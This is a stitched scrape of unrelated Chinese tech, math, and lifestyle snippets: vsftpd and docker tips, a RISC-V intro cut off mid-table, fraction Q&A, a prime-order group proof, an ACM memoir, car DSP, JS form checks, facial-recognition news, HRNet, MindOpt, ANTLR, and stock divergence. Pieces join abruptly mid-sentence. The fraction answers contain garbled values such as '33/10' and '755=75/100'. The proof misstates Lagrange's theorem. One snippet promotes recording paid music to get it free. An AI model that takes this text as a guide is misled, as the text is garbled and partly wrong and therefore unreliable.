vi /etc/vsftpd/vsftpd.conf 修改vsftp配置文件 下方配置有的就修改 没有就添加
connect_from_port_20=NO pasv_enable=YES pasv_min_port=1025 pasv_max_port=1025 然后拿外网服务器的防火墙去映射搭建了ftp的服务器的三个端口 20,21,1025
外网服务器的映射的端口需要和ftp的端口一致。
然后记得重启防火墙和vsftp
解决方法 方法一:删除时不要使用 image ID,改用镜像名称(REPOSITORY)
方法二:docker rmi -f imageID
问题解析 docker rmi 8e6aee9da407 会报错:Error response from daemon: conflict: unable to delete 8e6aee9da407 (must be forced) - image is referenced in multiple repositories
使用docker images可以看到有多个repository引用了这个image id,所以直接删除image ID会报错:
使用docker rmi -f 8e6aee9da407会把所有imageID为8e6aee9da407的都删除,而如果用docker rmi 镜像名称就可以一个个删除
参考 docker doc:https://docs.docker.com/engine/reference/commandline/rmi/#examples
近几年来,在ARM和Intel所垄断的处理器架构格局中,一种新的免费开源指令集架构RISC-V突然声名鹊起,成为处理器领域的新秀。目前正值中美芯片之争,国内对RISC-V的关注度也很火热,前景被无限看好。那么RISC-V到底与其他架构有什么不同,又会带来哪些机遇与挑战呢?下面我将对RISC-V进行简单的介绍:
一、指令集简介
一般来讲,先有指令集,才会有芯片来支持指令集。指令集类似一种标准,定义了芯片支持的功能。简单来说,指令集就是定义了一种计算机识别的编码,负责告诉计算机一编码的含义是什么。指令集的强弱是CPU的重要指标,是提高微处理器效率的最有效工具之一。一个好的指令集设计可以让CPU的设计更加方便,让编译器能够对这一架构生成效率更高的代码。
众所周知,处理器领域有两大指令集架构纵横天下,复杂指令集(Complex Intruction Set Computer, CISC)的代表英特尔x86在PC市场无出其右,精简指令集(Reduced Intruction Set Computer, RISC)的代表ARM则在移动终端独领风骚。两类指令集都“集”如其名:CISC指令集靠设计出尽可能复杂的指令来完成任务。约有20%的指令会被反复使用,占全程序代码的80%。特点是任务处理能力强,但高性能就会引入高功耗的问题;RISC则只包含处理器常用的指令,不常用的操作则通过执行多条常用指令方式来达到同样的效果。
指令集
全称
特点
行业代表
RISC
Reduced Intruction Set Computer
低功耗,低性能
ARM
CISC
Complex Intruction Set Computer
高功耗,高性能
Intel
二、RISC-V的诞生
RISC-V (英文读作"risk-five"),是一种全新的精简指令集架构。它出自美国UC Berkeley大学的一个研究团队。因为传统商业闭源指令集授权费高昂且专有利保护,像伯克利大学这样的研究团队竟选不出合适的指令集架构来使用。最终他们决定从零开始,设计一套全新的、开源的指令集。于是RISC-V指令集的雏形诞生了。
秉承“大道至简”的设计哲学,RISC-V基础指令集只有40多条,加上其他的模块化扩展指令总共几十条指令。RISC-V的规范文档仅有145页,而“特权架构文档”的篇幅也仅为91页。相比传言要上千万美元的ARM指令集架构的许可证,RISC-V以其完全开源、短小精悍的模块化设计、没有过时定义的束缚、没有严重的指令冗余、没有专利问题等优势开始吸引全球初创公司和研究机构的目光。大批公司开始加入对RISC-V的研究和二次开发之中。现在,围绕RISC-V的生态环境逐渐完善,并涌现了众多开源处理器及SoC采用RISC-V架构。
RISC-V的出现打破了沉闷的行业气氛,举起了反垄断的大旗,可以看成是一个年轻的搅局者。在科技巨头以及一大批创企对RISC-V的发展和生态建设的推动之下,或许RISC-V能够成为AI和IoT时代足以与ARM匹敌的新一代主流架构。
三、RISC-V的优势
简单来说,RISC-V的优势可以被概括成一句话:短小精悍、扩展性强。处理器经过这么多年的发展,路上的坑已经被研究的清清楚楚,但ARM和x86的指令集一路走来,需要兼容的东西太多了,导致指令集越来越复杂。RISC-V则站在巨人的肩膀上汲取了这些经验,指令集的每个功能都被划分的清清楚楚,所以够精简。
RISC-V是一个典型三操作数、加载-存储形式的RISC架构。指令集使用模块化的方式进行组织,其不同部分能以模块化的方式串在一起。因此通过组合不同的模块,可以对于不同处理需求的加速芯片实现兼容。它包括三个基本指令集和6个扩展指令集,每一个模块使用一个英文字母来表示,如下表所示。
名称
指令数
说明
基本指令集
RV32I
47
整数指令,包含:算数、分支、访存。32位寻址空间,32个32位寄存器
RV32E
47
指令与RV32I一样,只是寄存器数量变为16个,用于嵌入式环境。
RV64I
59
整数指令,64位寻址空间,32个64位寄存器。
RV128I
71
整数指令,128位寻址空间,32个128位寄存器。
扩展指令集
M
8
包含4条乘法、2条除法、2条余数操作指令
A
11
包含原子操作指令。比如读-修改-写,比较-交换等
F
26
包含单精度浮点指令
D
26
包含双精度浮点指令
Q
在我们使用电脑的过程中,可能时不时会有用到录音功能的时候,尤其是对于一些搞笑语音或者是音乐,那么电脑上的录音功能如何开启,又怎样将系统内外的声音分开录制呢?下面我们一起来看一下吧。
一、 开启录音
电脑中有自带的录音功能,所以一般情况下我们只需要用到"Win+S"快捷键打开应用查询框或者直接在下方的搜索栏中输入"录音机",选择后即可。
当我们开启了"录音机"功能之后,可能需要你连接好麦克风,然后再点击"开关"就能进行声音录制了。但是这样麻烦的就是很难将系统内外的声音分开录制,但是对于一些简单的情况下还是很实用的。
二、借助工具
除了电脑有自带的录音功能以外,如果你想要更好的录音效果甚至是想要录制无损声音的话,那么就需要用到专业的录音工具了,比如【迅捷录音软件】。
一些喜欢无损音乐的朋友在面对需要付费才能下载的情况,这样的话如果你想要免费就听到的话就可以利用【迅捷录音软件】将其录制下来或者找到该歌曲的MV将音乐录制下来,记住格式选项选择无损音质的"WAV",声音来源也调整为"仅系统声音"。
然后打开开关开始录制即可,是不是非常简单?
以上就是电脑开启录音功能以及如何单独录制系统内和系统外声音的方法,又需要的可以试一试,希望对你有所帮助。
Q1:百分之3化成最简分数是多?
百分之3化成最简分数是3/100
Q2:怎样将分数化成最简分数? 例如十分之五化成最简分数是二分之一。(有什么规律吗?)
分子分母同时除以他们的最大公约数
Q3:分数化成最简分数的格式怎么?
就是写成整数分式就额可以了P.S. 你的支持是我坚持的动力!点下好评吧,亲!!!
Q4:分数比化成最简分数比的方法
分数比化成最简整数比的方法:
一个分数一个整数的比化简,先把前项后项同时乘分数的分母,变成整数比,如果不能再化简了,就是最简比;如果还能化简,就用化简整数比的方法继续化简。
2.两个都是分数的比化简,先用两个分母的最小公倍数来乘前项和后项,变成整数比,如果不能再化简了,就是最简比;如果还能化简,就用化简整数比的方法继续化简。
3.也可以用前项除以后项的方法来化简,不过最后一定要写成比的形式。
Q5:怎么把分数化成最简分数(就是约分)
把分数化成最简分数(即约分),通常有以下两种方法:
①用分子和分母的公因数(1除外)去除
例:约分
.
解:
分子和分母先同时除以2,
得
再同时除以3,
得
故
就是
的最简分数形式.
②直接用分数的分子和分母的最大公因数(1除外)去除
例:约分
.
解:
因为分子和分母的最大公因数为6,所以分子和分母同时除以6,
得
故
就是
的最简分数形式.
Q6:20分之16如何化成最简分数
16/20 分子分母同时除以4得
4/5 此时,分子分母除了1能同时整除之外,找不到其它公约数了。
所以,4/5就是最简分数了。
Q7:有带分数的百分数怎么化为最简分数? 百分数怎么化为分数? 分数怎么化为百分数? 小数怎么化为百分率?
有带分数的百分数化为最简分数: 如:124%=124/100=31/25 百分数怎么化为分数: 如:755=75/100=3/4 分数怎么化为百分数: 如:3/4=(3*25)/(4*25)=75/100=75% 或:3/4=0.75*(100%)=75% 小数怎么化为百分率: 如0.25=25/100=25%
Q8:3等于多少化成分数结果化成最简分?
3。3的最简分数为33/10
Q9:如何将小数化分数?
任何的有限小数和无限循环小数都能化为分数
有限小数化为分数的方法
根据小数的意义先将小数化为分母是10,100,1000,……的的分数,原来是几位小数就在1后面写几个0作为分母,把原来的小数点去掉后的数字做分子,能约分的化简成最简分数。
举例说明:
常用的分数与小数的互化需要记住:
无限循环小数化为分数
1、纯循环小数化为分数的方法:
纯循环小数的循环节有几位,就在分母上写几个9,以循环节做分子:
2、混循环小数化为分数的方法:
混循环小数的循环节有几位,就在分母上写几个9,循环节之前有几位,就在后面再补几个0做分母,
用从小数点后面第一位开始到第一个循环位结束时的数字组成的数减去第一个循环节前面的数字组成的数做分子,
掌握基本方法之后然后去多练习几道题目,提升熟练度。
Cortana是微软发布的全球第一款个人智能助理。它能够了解用户的喜好和习惯,帮助用户进行日程安排、问题回答等。Cortana可以说是微软在机器学习和人工智能领域方面的尝试。微软已经在最新的Windows 10一月技术预览版中内置Cortana,这也是首个内置Cortana的公开Windows 10版本。
开启Cortana很简单:
1、由于Cortana只支持美国英语,因此需要将系统区域设置为美国,美国英语设置为“主语言”;
2、打开设置→时间和语言→区域和语言→国家或地区里选择美国,语言中添加English (United States);
3、确认设置→系统→语音→口语是English (United States);
4、再去设置→系统→Cortana和搜索→自定义Cortana和搜索设置→新打开的设置面板中将选项切换为开启(On)Cortana。
在确认完设置之后,可以在任务栏点击开始按钮右侧紧挨着的Cortana圆圈图标(默认为输入框)开始Cortana。点击后,第一次运行需要进行一系列初始化流程,包括输入自己的名字,即便是你在WP8.1上已经开启过Cortana。
这个证明需要分两步:
1.首先证明素数阶群都是循环群
2.其次证明循环群一定是abel群
我先来证明1,过程如下:
首先我们假设p为任意素数,存在一个群G,群G的阶数是|G|=p。
根据拉格朗日定理我们知道,G的所有元素的阶都可以被p整除,这里的关键点就出来了,因为素数只能整除自己,所以我们可以知道这个拉格朗日定理要发挥作用了,所有的群元的阶都只可能是p或者1,因为1也可以被p整除。
所以,我们任取群元a∈G,那么a的阶要么是1要么是p,若a≠1,则这个时候a的阶是p。
所以,我们有a^p=1。而且,这个时候a的自我乘积a、a^2、a^3…a^(p-1)∈G。(这里是因为在群的乘法表里,a可以自己与自己相乘,必须等于另外一个群元,这个群元我们记为a^2,a^2是一个新的群元,这个新群元还可以与a有群乘法,所以一直下来就是这个结果。)
因为前面我们已经说了|G|=p,所以最后逼出G={1,a,a^2…a^(p-1)}。这就完全证明了G是一个循环群。
然后呢?我们很容易证明2,因为循环群是abel群是肉眼就可以看出来的,非常简单。
综上所述,我们就证明了,素数阶群一定是abel群。
2018.9.30在我校oj上注册了账号,做了个a+b,然后国庆回家了。国庆回来,因为当时大一还没有买笔记本,要交c语言作业,然后就去机房做了直接交了。当时是和wrb一起去的,作业写完后,看他在oj上做题,我觉得挺有意思的,就也开始做题了,然后体会了过题的快乐,尤其是那种一直错一直错,然后慢慢改,直到一个accept的返回,应该是最有成就感的。那段时间反正就做题,感觉就跟打游戏闯关升级一样的快乐,经常做到半夜。
后面听说有新生赛,新生赛还有奖状,可以加综测,然后学长还给了比赛的算法知识点范围,包括了前缀和、快速幂等等。后面就到了新生赛了,看错了题意,有个预处理的题一直wa,然后排名第七。混了个新生赛二等吧。当时我还没有加学校的集训队,觉得加不加貌似也没区别。后来听说想打比赛,必须是集训队员,然后就靠新生赛第七名入队了。
在oj看到旺神他们队,基本都是银牌,还有个ccpc秦皇岛的金,我当时误以为,奖牌貌似很好拿的。。。后来发现我错得离谱。
新生赛结束入队后,学长们说还有寒假作业,其实就是学习一些基础算法,二分、并查集、双指针、dfs、bfs等等,然后做做题练习一下,寒假时候有点偷懒,dfs学不明白,在当时,递归对我来说都有点抽象,别说dfs了。然后以为bfs比dfs难,也没去学。到了三月,被给了一个蓝桥杯的名额,听学长们说,省赛水个省一,五月就能去北京旅游了。然后蓝桥的题就是比较水吧,不过当时我连取模都不会,让求第20190324项斐波那契数列取模一个数字,我甚至以为20190324太大了,不能直接for,现在想想有点可笑。然后当年还有一个问走迷宫的最少步数,并且要求字典序的题,这是一个dfs的裸题,dfs没学会,就跳过了,后面大题不会,就根据数据范围去暴力骗分。结束后以为撑死省二吧,然后莫名其妙就省一了,真水。。
到了19年5月13号,打了学校的校赛,当时和sy和gjc组队的,打了个铜首,铜牌第一名,死在了罚时。后面到了5月24,第一次的公费旅游去了北京,嫖了在Pony.ai的14级学长的一顿饭,然后因为是大一,比赛什么的当然没旅游重要,去了故宫,路上碰到了隔壁学校的银牌爷,一起去了圆明园,晚上吃了顿饭,然后第二天坐动车回校了。
大一下就这样,随着期末预习结束了。
快乐的暑假集训开始了,暑假没有回家,留在学校内,每天都去机房学算法、做题这样。而且人还算挺多的,加上17级大哥们,有小二十来个吧。每过一段时间有学长给我们讲算法,然后给我们拉个diy做题,反正也不会很枯燥,过的挺充实的,看17级大哥们打牛客和hdu多校日常自闭(一年后也轮到了我)。每周都会出题让我们18级的打周赛,当时新生赛第二名被打自闭了,然后退役了,感觉有点可惜的。
两个月很快过去了,到了大二上了。原来的队友gjc因为身体原因,不能再打了,然后就退役了。然后17级大哥们的最重要的半年到了,在银川、南京拿了银,徐州拿了铜。然后还有个上海赛区,ICPC因为每个人每个赛季只能打两场,所以就给了我们18级机会,我和hb、还有17的zb大哥去了上海。说实话,嘴上说着肯定铁,但谁不想有个自己亲自打到的奖牌呢。正式赛的前一天有点失眠,不知道是换了床不习惯还是因为紧张。。正式赛,中学队伍五分钟过了K题,然后我们以为是签到,那是一个二分图的性质,二分图中,不存在奇数环,我们真不知道,然后瞎搞了五小时,到比赛结束都没能过掉。期间hb发现了真正的签到,然后就过掉了。最后光荣爆1,打铁。zb大哥区域赛都铁了,当时觉得他应该很遗憾吧,也怪我们不够强,没能让他退役场拿牌子,不过还好后来大哥进了网易,算是拿到了不错的offer。那天晚上嫖了金牌爷学长的一顿饭,然后第二天回学校了。17级因为要去找工作实习了,所以就都退役了,并且18级在我看见的,也没什么人有做题了,上海打完铁,其实是有点迷茫的,17级都走了,剩我们18级了,而且我觉得我们真的很菜,19年12月,我貌似cf连蓝都上不了,想着起码明年打个acm省赛在退役。然后就是新生的新生赛吧,也不去想这些了,就简单培养一下新生,搞下新生赛,搞下蓝桥的选拔赛这样的。
大二上结束了,然后碰上了傻逼疫情。
后面就是在牛客上做题,期间做了很多与树相关的题目,什么树的重心、树的直径、树上倍增、树上差分、树上前缀和、LCA等等,cf也上了蓝,然后简单学了下网络流,学了大一就应该要会的kmp,入门了状压dp和树型dp等等。中间还在牛客上出了一场小白赛的题,留下一点自己的痕迹。
后面大三上开学了。因为疫情,蓝桥杯推到了这学期,省赛随便混了个省一
(确实看不起这个省一,我去年都能省一,一年多了,我每天都在做题,省一不是有手就行?)
然后蓝桥的国赛吧,题挺难的,大题有个恶心人的递归不会写,直接放掉,后面有个是个容易证明的简单贪心,排序下就好,然后是个离散化的lis,瞎写了一下骗骗分。因为今年题挺难的,我前面的题可以保证全对,结束后觉得不出意外应该可以国一。然后就混了个国一吧。
后面到了这个赛季的CCPC了,网络赛我们水平太菜,就打到了一个名额,然后给其他队伍申请了秦皇岛的外卡,我们去打了绵阳站,绵阳站真的是白给的牌子,可惜我们没拿到,做法都想到了,就是没把两个做法合并起来,然后铁了,这应该是最遗憾的事了,估计永远也忘不了。那时候觉得应该也就这样了,我们还是叫蓝桥杯选手好了,叫什么acm选手呢。然后想着CCPC限制牌子个数,ICPC可能会好打一些,结果一看上海站,报名点击就送,死定了,群魔乱舞?
感觉自己应该要白打两年了,其实就算没牌也不是白打,就是肯定会遗憾吧
上海铁是在我们的意料之中的,但是卡在B题是真的不甘心,也就一个div2 B或者C的难度,为什么我们就想不到补图呢。
到了12月25,星期五,12.27要打济南站了。
这天晚上睡觉,做梦梦到我们打铁了,忽然就醒了过来。一看时间,早上九点多,就继续睡觉了。27号那天,开始比赛前几分钟还是很紧张,然后打开题面,想赶紧找到签到,并且期间一直刷新榜单看榜,发现M题有人过了,估计是签到,就和hb先去看了,然后让wrb去看其他题,然后简单讨论了一下,发现有个样例没过,hb说k可能大于n,然后我发现k和n取个min就可以了,交了,过了。此时看榜,G有人过,继续看题,让用不超过五步的操作,把X通过异或变成Y,选择的数字要小于X,根据异或的性质,想到了X ^ Y ^ X=Y,然后只需要计算一下X ^ Y
的值看看是不是比X小,是的话,一步到位,不然就先^ Y 在 ^ X两步即可,交了,过了。
继续跟榜,C题计算合并石子的最小花费,发现三个石子的堆没有用,只需要合并1个和2个的,剩下的自己合并就可以,交了,过了。然后看D题,wrb很快给出了做法,我想了一下,觉得他的想法是正解,然后hb上去敲,交了,返回了一个wa,心里想,完了,wa了一发估计要铁了,因为我们开不了那些难度大的题,只能靠罚时拿牌,过了20min,wrb给了一个hack数据,然后选择后的要严格大于之前的得分,那么比他小的可以变成和他一样,不会影响前面的人的排名,其实只要把代码中的+1这两个字符去掉就好,交了,过了。此时比赛开始一个小时四十三分钟,看了下其他题的AC率,应该是我们做不了的题。然后就硬是挂机了3小时17分钟,期间觉得A题要开出来,不然大概率要铁。简单写了个dfs打表,发现答案一定是2的幂,然后开始打表跑随机数,试图找规律。没找到,放弃。最后一小时封榜,看不了别人的过题情况,漫长的等待,结束后刷新榜单,没铁,铜了,结束。
中间有很多次想自己要不要打下去,感觉没啥希望,早点退役,学学面试的东西算了,但还是坚持下来了,后面想退役的时候就会想,如果现在退了,以后想起来一定是遗憾的,所以一定要圆满打完最后一年,就算没牌子也没关系,没牌子说明实力不够,自己还没打就退了,万一有牌呢?
打acm应该算的上这两年一直在做的事情,算法竞赛是很看重天赋,但大部分人的努力程度远远还没到说自己天赋不足那一步,电子竞技,菜就是菜。
(我就属于懒得学新算法,懒得做题的那一部分人)
经历过被中学生吊打,也偶尔打过了那些翻车的大佬
这大概就是乐趣所在吧
最开始自己打新生赛,只是为了期末加综测分,拿个奖学金而已,后面是为了有打比赛的机会,白嫖公费旅游,就继续做题了,上海打铁后,有些迷茫,热情远远不足最开始的那一段时间了,但没想到自己能坚持到现在
2020.12.27 12:43
结束了
大家知道DSP是什么吗?在改装汽车音响中,DSP十分常用,它用来处理声音是声音的处理器。但是大家知道DSP为什么那么重要吗? DSP是个简称,中文全称叫:数字信号处理, 原理是把模拟信号转换成数字信号,用于专用处理器的高速实时处理。数字信号处理用途非常广,不仅仅是在音响领域。在图形图像处理,语音处理,信号处理等通信领域都再用,AI领域也有用到。
早些年,只要大一点的音响系统,都是高端CD机的天下。而且都是日本品牌的CD主机。例如:阿尔派,先锋,歌乐.....就拿先锋来说,稍微高端的CD机即能玩主动,又能拉延时。即使当时有少部分型号的DSP处理器,价格都让人望而却步。 随着人们生活节奏越来越快,人越来越懒,听的歌曲种类越来越多,也不会特定去买CD碟片,近些年影像店越来越少了,买CD确实不方便。从音源效果来说,CD的效果肯定优越于USB以及蓝牙。 还记得曾经比柯达胶卷吗,不是它不够好,而是人们的生活习惯发生了改变。
再一个,这些年店家也不主动去推荐用CD机,因为安装太复杂,客户也不愿破坏原车去倒模加装。 经常有人问我DSP能不能提升音质?首先我们先区分一下在汽车音响中,DSP的类别。DSP还有一种叫法,“处理器”。市面上主流的处理器有两种:一种是单纯的DSP,这种DSP它仅仅是对音频处理,不存在有功率放大的功能,我们也称之为专业处理器。 还有一种是不仅有DSP功能,还集成了功放板,包括功率放大,这种DSP通常也被人们称之为专车专用的DSP。
再回到上一个问题,DSP能不能提升音质。我们打个比方,一股山泉水从山上流下来,你中间可以让水变甜,也可让水过滤更干净。但水的“质”肯定没有发生改变,所以声音的本质肯定不会发生改变。那这个DSP在汽车音响系统中是做什么用的?DSP可以在任何音频频段,可以通过电脑软件直接显示出来,进行修饰。同时也可以在单个信号通道进行频段切剪,甚至拉延时。这就是DSP的魅力。虽说在早些年,高端系统中的一些CD机也可以做到以上功能,但相比以往传统的高端型号CD主机DSP优点会更加突出,一是价格有优势,二是不需要倒模,而且调试方式更加直观。不得不说DSP无论是我们业内人士,还是客户,都有不可替代的优点。总而言之DSP它就是一种调音的手段,对音质的本质是没有太多的变化,就是一个整合信号的机器。虽说功能强大,由于涉及到所搭配的器材,在调音的技术上还是因人而异,有些人装了DSP也并没有达到预期的效果,在我看来还是调音水平的问题。
不知道大家还有什么关于汽车音响改装的问题呢?如果有的话,就在下方留言吧!毕竟升级音响并不像买菜一样小菜一碟。
往期精彩回顾
音响爆款车型 普拉多 汉兰达 酷路泽 宝马无损改装 关 于 隔 音 胎噪克星 全车隔音 专业说话 目前100000+人已关注加入我们
很多时候诸如留言板之类我们都需要设置必填项,在用户触发提交按钮的时候做一次判断,今天道成设计就跟大家分享一段表单字段必填项的JS代码。
在html5里有个针对input等设置的required="required" 代码,但是这个代码有的浏览器不兼容,在这个浏览器良莠不齐的今天,最好的办法还是用JS,毕竟最原始的IE6都支持的东西,基本没几个浏览器不支持了。
先直接将代码贴出来:
----------------------------------------------------------------------
在线下单 我们将第一时间与您取得联系 货物名称 * 目的地 * 重量(KG) * 体积(m³) * 发货人 * 电话 * 所有信息均需填写 function checkForm(){
var huowumingcheng=document.getElementById('huowumingcheng').value
var mudidi=document.getElementById('mudidi').value
var zhongliang=document.getElementById('zhongliang').value
var tiji=document.getElementById('tiji').value
var fahuoren=document.getElementById('fahuoren').value
var dianhua=document.getElementById('dianhua').value
if(huowumingcheng=='' || mudidi=='' || zhongliang=='' || tiji=='' || fahuoren=='' || dianhua==''){
alert("所有信息均需填写");
return false;
}
return true
}
---------------------------------------------------------
主要是一个form的onSubmit="return checkForm()" 值,以及input设置ID于 javascript里的ID对应,然后alert输出弹窗提示文本
无论是什么事情 相信大家都不喜欢 被别人强制去做吧? 近日 广东一小区就强制 业主们录入人脸识别信息 12月24日,东莞市厚街镇世纪绿洲的业主报料,说他们小区最近推行人脸识别门禁系统,业主们被强制要求录入人脸识别信息。因为原先的刷卡系统已被停用,不录入就没办法进小区了。
小区业主邱先生说,12月3日,小区物业突然贴出通知说,为了进一步加强小区入口人员管理,小区入口按照《广东省安全技术防范管理实施办法》要求进行人员管理使用技防标准视频门禁系统。而从12月15日起,小区保安无开门权限,原来的刷卡系统将停用,请业主尽快注册使用人脸识别系统。
东莞厚街世纪绿洲小区业主邱先生:它是强制推行的,业主没有选择的权利,我们现在没办法进小区啊,现在必须开通刷脸功能才能进小区。
12月24日上午,记者跟着邱先生来到小区正门,邱先生用原先的门禁钥匙已经开不了门,小区保安则提醒要刷脸才能进入小区。
有业主担心,录入人脸生物信息后会有被泄露的风险,因此未选择录入。但是,原来的门禁系统已停止使用,大家有家不能归。不少业主向记者表示,小区应充分尊重业主个人意见,不应该“一刀切”地将原先的门禁系统停用。
对此,小区物业负责人表示,因为小区居住人员比较复杂,原来的门禁系统存在门禁卡和钥匙借给旁人使用的情况,为了小区安全,在当地公安部门的要求下,在小区推行人脸识别系统。目前,小区1700多户业主中已经有超过1100多户业主录入了人脸识别系统。
而东莞厚街公安分局则表示,经初步调查,升级后的新门禁系统以“刷脸”方式为主、电子门禁卡为辅,附加管理员远程开门等服务功能。旧系统在白天高峰期7:30—9:00之间也可以使用,小区楼宇一楼大门全天可用。
而根据《广东省安全技术防范管理实施办法》规定要求,小区门禁系统的管理信息直接传输至公安部门数据库,不允许存储于本地硬盘。下一步,厚街公安分局将对世纪绿洲小区等新门禁系统进行全面检查,确保符合要求,并责令该小区物业要依法履行审核权限,不得将住户信息用于非门禁系统以外的用途。
单页面应用,不切换浏览器tab页的情况,可以通过自定义事件进行监听
// 触发事件 function resetSetItem (key, newVal) { var setItemEvent = new Event("setItemEvent") setItemEvent.newValue = newVal window.dispatchEvent(setItemEvent) localStorage.setItem(key, newVal) } // 监听事件 window.addEventListener("setItemEvent", function (e) { // alert(e.newValue); console.log(e.newValue) }) 监听其它同源页面的localStorage(sessionStorage无法监听)
window.addEventListener("storage", function (e) { console.log(e.newValue) })
这里继续介绍第五篇著名的图像分割模型,HRNet[v2]。最开始的HRNet的论文发表于2019年的CVPR上,是做Pose检测的,而HRNetv2是在原来HRNet的基础上把它稍作改造使其成为用于分割的网络。不过,由于HRNet提取的特征丰富,各种分辨率的都有,而且在网络一路都保持着高分辨率特征,所以也很容易类似于改造VGG,GoogLeNet和ResNet那样**根据需要将其改造别的任务**(比如图像识别,目标检测,人脸特征点检测,语义分割的等)的主干网络。本文仅以HRNetv2做分割为例,来介绍HRNet。
## HRNet思路来源
做语义分割,现在主流的网络设计可以按照最终特征图的生成方式分为两大流派:
### 以FCN,U-Net的代表的特征图先缩小后恢复的方法
像以前介绍过的[FCN](Captain1986/CaptainBlackboard)和[U-Net](https://github.com/Captain1986/CaptainBlackboard/blob/master/D%230040-用U-Net做分割/D%230040.md)的网络,如上图所示,在网络的传播过程中,**逐步减小特征图的空间分辨率**,可以视为一个Encoder的过程,然后再加上一个尾巴Decoder把特征图编码了的信息解码出来,一次性或者**逐步地放大特征图分辨率**直到原始输入分辨率,得到Segmentation map。这其中可能也穿插着不同分辨率信息的融合。
### 以DeepLab为代表的一路保持较大分辨率特征图的方法
上面的FCN和U-Net那样的思路,会在特征图分辨率缩小的过程中有**信息的流失**,就算加上了跳跃连接和多分辨率融合也不一定能很好的补偿这种信息流失。所以就有另外一种思路,在**特征提取的过程中一路保持较大的分辨率**,如上图b,在最后的大分辨率特征图上预测Segmentation map。这种思路比较有代表性的就是DeepLab系列的空洞卷积了,[以前也有介绍](Captain1986/CaptainBlackboard)。
## HRNet网络结构
HRNet的设计思路延续了一路保持较大分辨率特征图的方法,在网络前进的过程中,都**保持较大的特征图**,但是在网路前进过程中,也会**平行地**做一些下采样缩小特征图,如此**迭代**下去。最后生成**多组有不同分辨率的特征图**,**再融合**这些特征图做Segmentation map的预测。
### 主干网络结构
上图是HRNet简单地示意图,生成多种不同分辨率的特征。这里需要注意的细节是,它在网络的前,中,后三段都做了特征融合,而不是仅仅在最后的特征图上做融合。别的好像也没什么了,结构和思路都比较简单,没有[前面的RefineNet](https://github.com/Captain1986/CaptainBlackboard/blob/master/D%230041-用RefineNet做分割/D%230041.md)那么复杂,就不多做介绍了。
### 多分辨率融合Multi-resolution Fusion
HRNet作为主干网络提取了特征,这些特征有不同的分辨率,需要根据不同的任务来选择融合的方式。
在HRNet的最初CVPR做人体姿态检测的版本中,用的是上图a的融合方式,也就是丢掉低分辨率的特征,只用最大分辨率的特征。
如果做语义分割或者人脸特征点定位,那么就是如上图b中所示,把不同分辨率的特征通过upsample操作后得到一致的大分辨率特征图,然后concate起来做融合。
如果做目标检测,那么如上图c所示,在b的基础上构造一个多分辨率的特征金字塔。
### 计算量
HRNet虽然有许多分辨率,而且一路都有保持大分辨率,但是根据论文的Table 1来看,貌似参数数量和计算量与前面的UNet和DeepLab相比并没有增加多少,特别是与DeepLab相比,计算量少了一大半。
## 总结
HRNet构造思路很简单,一路保持较大的分辨率,而且并行地下采样、融合,最终生成多个分辨率的特征图,可以根据不同任务的具体需要进行选择性地融合使用。HRNet能在图像分类,目标检测,语义分割,人脸特征点定位等应用上取得不错的效果,有望像VGG,GoogLeNet和ResNet那样,成为各个任务主干网络新的选择。
原帖:https://zhuanlan.zhihu.com/p/85646778
作者:唐博
编者按
MindOpt作为国内自主研发的求解器,登上国际权威榜单测评榜首,无疑是国内运筹优化领域的重大喜讯。
北京时间2020年8月18日,阿里巴巴达摩院发布了数学规划求解器MindOpt的单纯形法模块,并在国际权威第三方测评Mittelmann的线性规划单纯形法榜单中打破纪录,取得第一。
美国亚利桑那州立大学Hans Mittelmann教授致力于数学优化求解器测评多年,其测试结果公开发表在http://plato.asu.edu/bench.html上。该网站提供了各大数学规划求解软件在不同数学规划问题(如LP、MILP、SOCP、SDP、NLP等)的测评结果,其用于评测的基准问题库来源于工业界经典的实际问题。Mittelmann教授的测评得到了求解器业界的一致认可,也被认为是判断求解器性能的事实标准。
图为Mittelmann线性规划单纯形法的测评结果,数字“1”意味着MindOpt拥有最快的求解速度并作为基准时间,数字“40”意味着 MindOpt成功求解了全部40个线性规划算例。可以看到MindOpt的求解速度快于第二名Gurobi 10%。尽管除Gurobi之外的另外两大商业求解软件CPLEX和Xpress早已退出测评,但不难推断MindOpt应当是求解大规模线性规划问题当之无愧的世界第一。
据悉,这款表现优异的优化求解器已应用于阿里集团多项业务,包括云计算资源调度、金融资金分配、新零售智能营销等,每年可为阿里云节约数亿元成本 [5]。达摩院也提供了该软件的试用,根据官网(https://solver.damo.alibaba.com)填写申请材料即可获得试用。MindOpt目前支持命令行和C语言API调用,可在Windows,MacOS和Linux系统下使用。
参考文献
[1]http://plato.asu.edu/ftp/lpsimp.html
[2]https://solver.damo.alibaba.com/htmlpages/page#/
[3]https://tech.china.com/article/20200818/20200818582257.html
[4]https://zhuanlan.zhihu.com/p/54150389
[5]https://cloud.ofweek.com/news/2020-08/ART-178803-8100-30453277.html
本文责编
1. ANTLR可以一站式的解决词法与语法解析器的生成。
FLEX&BISON需要配合使用,一个实现词法解析器,一个实现语法解析器。
2. ANTLR通过在文法文件中的设置,可以生成多个语言代码。
options {language=Cpp;} options {language=CSharp;} options {language=Java;} options {language=Python3;} FLEX&BISON只能生成C代码。
3. ANTLR可以生成语法解析树的图形化表示,方便开发与测试。
FLEX&BISON没有。
4. ANTLR支持多种IDE的协同开发插件。
FLEX&BISON没有,是纯粹的命令行程序。
5. 语义代码,ANTLR有多种方式支持,可以在文法文件中嵌入代码,也可以使用其它方法(我估计是listener,visitor, channel这些方式,还没搞明白)
FLEX&BISON只有一种方式,将用户自己的语义代码嵌入式文法文件中。
初稿于2020.08.26
今天的市场比较差,昨天的复盘也明确说了,行情艰难,今天大概率情绪和指数向下共振。
难得有时间,温习一下背离技术。
关于背离技术的文章网上大把的,但个人觉得很多实用意义不大。
本文个人尽量用最短的语言要阐述背离最实用的关键点。
先来看一下什么是背离? 背离,又称背驰,是指当股票或指数在下跌或上涨过程中,不断创新低(高),而一些技术指标不跟随创新低(高),称为背离。
故,对不同的指标,就有不同的背离,比如量价背离、MACD背离等。
技术指标比较多,本人常看的是量价背离和MACD背离,其他的基本没用过,所以本文也主要讲量价背离和MACD背离。
背离又分为顶背离和底背离,顶背离是指股价创新高,但指标没有新高。底背离是指价格创新低,但指标没有创新低。
实际中,本人不去抄底,所以底背离用的也比较少,顶背离用的最多。
本文分为两部分,第一部分讲K线中的背离,此部分又分为两个小节,分别是量价背离和MACD背离,第二部分讲分时中的背离,主要是MACD背离。【PART1】 K线中的量价背离和MACD背离量价背离:
